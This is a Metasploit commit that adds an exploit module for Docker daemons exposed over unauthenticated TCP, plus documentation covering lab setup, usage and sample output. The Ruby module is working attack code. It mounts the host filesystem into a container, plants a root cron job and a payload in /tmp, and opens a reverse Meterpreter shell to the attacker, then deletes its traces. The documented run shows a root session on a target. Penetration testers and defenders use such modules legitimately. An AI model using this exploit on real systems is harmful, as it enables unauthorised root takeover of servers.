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Land #8768, Add Docker Daemon TCP exploit module

bug/bundler_fix
dmohanty-r7 2017-09-08 12:50:00 -05:00
parent f5a73f3efe 2383afd8dc
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documentation/modules/exploit/linux/http/docker_daemon_tcp.md Normal file
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# Vulnerable Application
Utilizing Docker via unprotected tcp socket (2375/tcp, maybe 2376/tcp
with tls but without tls-auth), an attacker can create a Docker
container with the '/' path mounted with read/write permissions on the
host server that is running the Docker container. As the Docker
container executes command as uid 0 it is honored by the host operating
system allowing the attacker to edit/create files owned by root. This
exploit abuses this to creates a cron job in the '/etc/cron.d/' path of
the host server.
The Docker image should exist on the target system or be a valid image
from hub.docker.com.
## Docker Engine
By default, Docker runs via a non-networked unix socket. It can also
optionally communicate using a tcp socket.
> Warning: Changing the default docker daemon binding to a TCP port or
Unix docker user group will increase your security risks by allowing
non-root users to gain root access on the host. Make sure you control
access to docker. If you are binding to a TCP port, anyone with access
to that port has full Docker access; so it is not advisable on an open
network. -- [from docs.docker.com][1]
This module was tested with Debian 9 and CentOS 7 as the host operating
system and with Docker CE 17.06.0-ce and Docker Engine 1.13.1.
### Install Debian 9
First [install Debian 9][2] with default task selection. This includes
the "*standard system utilities*".
### Install Docker
Then install a supported version of [Docker on Debian system][3].
```bash
# TL;DR
apt-get remove docker docker-engine
apt-get install apt-transport-https ca-certificates curl gnupg2 software-properties-common
curl -fsSL https://download.docker.com/linux/debian/gpg | apt-key add -
apt-key fingerprint 0EBFCD88
# Verify that the key ID is 9DC8 5822 9FC7 DD38 854A E2D8 8D81 803C 0EBF CD88.
add-apt-repository "deb [arch=amd64] https://download.docker.com/linux/debian $(lsb_release -cs) stable"
apt-get update
apt-get install docker-ce
docker run hello-world
```
### Activate unprotected tcp socket
Once Docker is installed, customize the Docker daemon options and add
the tcp socket `-H tcp://0.0.0.0:2375` option. On Debian override the
settings from `/lib/systemd/system/docker.service` with a new file
`/etc/systemd/system/docker.service`.
Further information: [docker systemd][4] and [docker daemon options][5].
```bash
# TL;DR
echo "[Service]
ExecStart=/usr/bin/dockerd -H fd:// -H tcp://0.0.0.0:2375" | tee /etc/systemd/system/docker.service
systemctl daemon-reload
systemctl restart docker
curl http://127.0.0.1:2375/_ping ; echo
OK
```
### Mitigation
[Disable][5] or [protect][6] the Docker tcp socket.
# Exploitation
This module is designed for the attacker to leverage, creation of a
Docker container with out authentication through the Docker tcp socket
to gain root access to the hosting server of the Docker container.
## Options
- DOCKERIMAGE is the locally or from hub.docker.com available image you are wanting to have Docker to deploy for this exploit.
- CONTAINER_ID if you want to have a human readable name for your container, else it will be randomly generated
## Steps to exploit with module
- [ ] Start msfconsole
- [ ] use exploit/linux/http/docker_daemon_tcp
- [ ] Set the options appropriately and set VERBOSE to true
- [ ] Verify it creates a Docker container and it successfully runs
- [ ] After a minute a session should be opened from the Docker server
## Example Output
```
msf > use exploit/linux/http/docker_daemon_tcp
msf exploit(docker_daemon_tcp) > set RHOST 192.168.66.23
RHOST => 192.168.66.23
msf exploit(docker_daemon_tcp) > set PAYLOAD python/meterpreter/reverse_tcp
PAYLOAD => python/meterpreter/reverse_tcp
msf exploit(docker_daemon_tcp) > set LHOST 192.168.66.10
LHOST => 192.168.66.10
msf exploit(docker_daemon_tcp) > set VERBOSE true
VERBOSE => true
msf exploit(docker_daemon_tcp) > check
[+] 192.168.66.23:2375 The target is vulnerable.
msf exploit(docker_daemon_tcp) > run
[*] Started reverse TCP handler on 192.168.66.10:4444
[*] Check if images exist on the target host
[*] Image is not available on the target host
[*] Trying to pulling image from docker registry, this may take a while
[*] Setting container json request variables
[*] Creating the docker container command
[*] The docker container is created, waiting for deploy
[*] Waiting for the cron job to run, can take up to 60 seconds
[*] Waiting until the docker container stopped
[*] The docker container has been stopped, now trying to remove it
[*] Sending stage (40411 bytes) to 192.168.66.23
[*] Meterpreter session 1 opened (192.168.66.10:4444 -> 192.168.66.23:35050) at 2017-07-25 14:03:02 +0200
[+] Deleted /etc/cron.d/lVoepNpy
[+] Deleted /tmp/poasDIuZ
meterpreter > sysinfo
Computer : debian
OS : Linux 4.9.0-3-amd64 #1 SMP Debian 4.9.30-2+deb9u2 (2017-06-26)
Architecture : x64
System Language : en_US
Meterpreter : python/linux
meterpreter >
```
[1]:https://docs.docker.com/engine/reference/commandline/dockerd/#bind-docker-to-another-hostport-or-a-unix-socket
[2]:https://www.debian.org/releases/stretch/amd64/index.html.en
[3]:https://docs.docker.com/engine/installation/linux/docker-ce/debian/
[4]:https://docs.docker.com/engine/admin/systemd/
[5]:https://docs.docker.com/engine/reference/commandline/dockerd/#options
[6]:https://docs.docker.com/engine/security/https/

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modules/exploits/linux/http/docker_daemon_tcp.rb Normal file
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##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::FileDropper
def initialize(info = {})
super(update_info(info,
'Name' => 'Docker Daemon - Unprotected TCP Socket Exploit',
'Description' => %q{
Utilizing Docker via unprotected tcp socket (2375/tcp, maybe 2376/tcp
with tls but without tls-auth), an attacker can create a Docker
container with the '/' path mounted with read/write permissions on the
host server that is running the Docker container. As the Docker
container executes command as uid 0 it is honored by the host operating
system allowing the attacker to edit/create files owned by root. This
exploit abuses this to creates a cron job in the '/etc/cron.d/' path of
the host server.
The Docker image should exist on the target system or be a valid image
from hub.docker.com.
},
'Author' => 'Martin Pizala', # started with dcos_marathon module from Erik Daguerre
'License' => MSF_LICENSE,
'References' => [
['URL', 'https://docs.docker.com/engine/security/security/#docker-daemon-attack-surface'],
['URL', 'https://docs.docker.com/engine/reference/commandline/dockerd/#bind-docker-to-another-hostport-or-a-unix-socket']
],
'DisclosureDate' => 'Jul 25, 2017',
'Targets' => [
[ 'Python', {
'Platform' => 'python',
'Arch' => ARCH_PYTHON,
'Payload' => {
'Compat' => {
'ConnectionType' => 'reverse noconn none tunnel'
}
}
}]
],
'DefaultOptions' => { 'WfsDelay' => 180, 'Payload' => 'python/meterpreter/reverse_tcp' },
'DefaultTarget' => 0))
register_options(
[
Opt::RPORT(2375),
OptString.new('DOCKERIMAGE', [ true, 'hub.docker.com image to use', 'python:3-slim' ]),
OptString.new('CONTAINER_ID', [ false, 'container id you would like'])
]
)
end
def check_image(image_id)
vprint_status("Check if images exist on the target host")
res = send_request_raw(
'method' => 'GET',
'uri' => normalize_uri('images', 'json')
)
return unless res and res.code == 200 and res.body.include? image_id
res
end
def pull_image(image_id)
print_status("Trying to pulling image from docker registry, this may take a while")
res = send_request_raw(
'method' => 'POST',
'uri' => normalize_uri('images', 'create?fromImage=' + image_id)
)
return unless res.code == 200
res
end
def make_container_id
return datastore['CONTAINER_ID'] unless datastore['CONTAINER_ID'].nil?
rand_text_alpha_lower(8)
end
def make_cmd(mnt_path, cron_path, payload_path)
vprint_status('Creating the docker container command')
echo_cron_path = mnt_path + cron_path
echo_payload_path = mnt_path + payload_path
cron_command = "python #{payload_path}"
payload_data = payload.raw
command = "echo \"#{payload_data}\" >> #{echo_payload_path} && "
command << "echo \"PATH=/sbin:/bin:/usr/sbin:/usr/bin:/usr/local/sbin:/usr/local/bin\" >> #{echo_cron_path} && "
command << "echo \"\" >> #{echo_cron_path} && "
command << "echo \"* * * * * root #{cron_command}\" >> #{echo_cron_path}"
command
end
def make_container(mnt_path, cron_path, payload_path)
vprint_status('Setting container json request variables')
{
'Image' => datastore['DOCKERIMAGE'],
'Cmd' => make_cmd(mnt_path, cron_path, payload_path),
'Entrypoint' => %w[/bin/sh -c],
'HostConfig' => {
'Binds' => [
'/:' + mnt_path
]
}
}
end
def del_container(container_id)
send_request_raw(
{
'method' => 'DELETE',
'uri' => normalize_uri('containers', container_id)
},
1 # timeout
)
end
def check
res = send_request_raw(
'method' => 'GET',
'uri' => normalize_uri('containers', 'json'),
'headers' => { 'Accept' => 'application/json' }
)
if res.nil?
print_error('Failed to connect to the target')
return Exploit::CheckCode::Unknown
end
if res and res.code == 200 and res.headers['Server'].include? 'Docker'
return Exploit::CheckCode::Vulnerable
end
Exploit::CheckCode::Safe
end
def exploit
# check if target is vulnerable
unless check == Exploit::CheckCode::Vulnerable
fail_with(Failure::Unknown, 'Failed to connect to the target')
end
# check if image is not available, pull it or fail out
image_id = datastore['DOCKERIMAGE']
if check_image(image_id).nil?
fail_with(Failure::Unknown, 'Failed to pull the docker image') if pull_image(image_id).nil?
end
# create required information to create json container information.
cron_path = '/etc/cron.d/' + rand_text_alpha(8)
payload_path = '/tmp/' + rand_text_alpha(8)
mnt_path = '/mnt/' + rand_text_alpha(8)
container_id = make_container_id
# create container
res_create = send_request_raw(
'method' => 'POST',
'uri' => normalize_uri('containers', 'create?name=' + container_id),
'headers' => { 'Content-Type' => 'application/json' },
'data' => make_container(mnt_path, cron_path, payload_path).to_json
)
fail_with(Failure::Unknown, 'Failed to create the docker container') unless res_create && res_create.code == 201
print_status("The docker container is created, waiting for deploy")
register_files_for_cleanup(cron_path, payload_path)
# start container
send_request_raw(
{
'method' => 'POST',
'uri' => normalize_uri('containers', container_id, 'start')
},
1 # timeout
)
# wait until container stopped
vprint_status("Waiting until the docker container stopped")
res_wait = send_request_raw(
'method' => 'POST',
'uri' => normalize_uri('containers', container_id, 'wait'),
'headers' => { 'Accept' => 'application/json' }
)
# delete container
deleted_container = false
if res_wait.code == 200
vprint_status("The docker container has been stopped, now trying to remove it")
del_container(container_id)
deleted_container = true
end
# if container does not deploy, remove it and fail out
unless deleted_container
del_container(container_id)
fail_with(Failure::Unknown, "The docker container failed to deploy")
end
print_status('Waiting for the cron job to run, can take up to 60 seconds')
end
end